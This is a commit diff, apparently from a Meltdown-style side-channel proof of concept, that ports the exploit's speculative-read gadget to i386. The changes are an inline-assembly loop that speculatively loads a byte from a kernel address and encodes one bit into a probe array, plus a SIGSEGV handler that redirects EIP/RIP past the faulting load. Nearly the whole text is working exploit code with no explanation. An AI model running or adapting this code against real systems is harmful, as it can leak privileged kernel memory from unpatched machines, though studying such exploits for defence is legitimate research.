17
17
# define HAVE_RDTSCP 1
18
18
#endif
19
19
20
+ #if !(defined(__x86_64__ ) || defined(__i386__ ))
21
+ # error "Only x86-64 and i386 are supported at the moment"
22
+ #endif
23
+
20
24
21
25
#define TARGET_OFFSET 9
22
26
#define TARGET_SIZE (1 << TARGET_OFFSET)
@@ -38,6 +42,7 @@ static void __attribute__((noinline))
38
42
speculate (unsigned long addr , char bit_ )
39
43
{
40
44
register char bit asm ("cl" ) = bit_ ;
45
+ #ifdef __x86_64__
41
46
asm volatile (
42
47
"lea %[target], %%rbx\n\t"
43
48
"1:\n\t"
@@ -61,6 +66,31 @@ speculate(unsigned long addr, char bit_)
61
66
[addr ] "r" (addr ),
62
67
[bit ] "r" (bit ) : "rax" , "rbx"
63
68
);
69
+ #else /* ifdef __x86_64__ */
70
+ asm volatile (
71
+ "lea %[target], %%ebx\n\t"
72
+ "1:\n\t"
73
+
74
+ ".rept 300\n\t"
75
+ "add $0x141, %%eax\n\t"
76
+ ".endr\n\t"
77
+
78
+ "movb (%[addr]), %%al\n\t"
79
+ "ror %[bit], %%eax\n\t"
80
+ "and $1, %%eax\n\t"
81
+ "jz 1b\n\t"
82
+
83
+ "shl $9, %%eax\n\t"
84
+ "movl (%%ebx, %%eax, 1), %%ebx\n"
85
+
86
+ "stopspeculate: \n\t"
87
+ "nop\n\t"
88
+ :
89
+ : [target ] "m" (target_array ),
90
+ [addr ] "r" (addr ),
91
+ [bit ] "r" (bit ) : "rax" , "rbx"
92
+ );
93
+ #endif
64
94
}
65
95
66
96
static inline int
@@ -103,7 +133,11 @@ void check(void)
103
133
void sigsegv (int sig , siginfo_t * siginfo , void * context )
104
134
{
105
135
ucontext_t * ucontext = context ;
136
+ #ifdef __x86_64__
106
137
ucontext -> uc_mcontext .gregs [REG_RIP ] = (unsigned long )stopspeculate ;
138
+ #else
139
+ ucontext -> uc_mcontext .gregs [REG_EIP ] = (unsigned long )stopspeculate ;
140
+ #endif
107
141
return ;
108
142
}
109
143
0 commit comments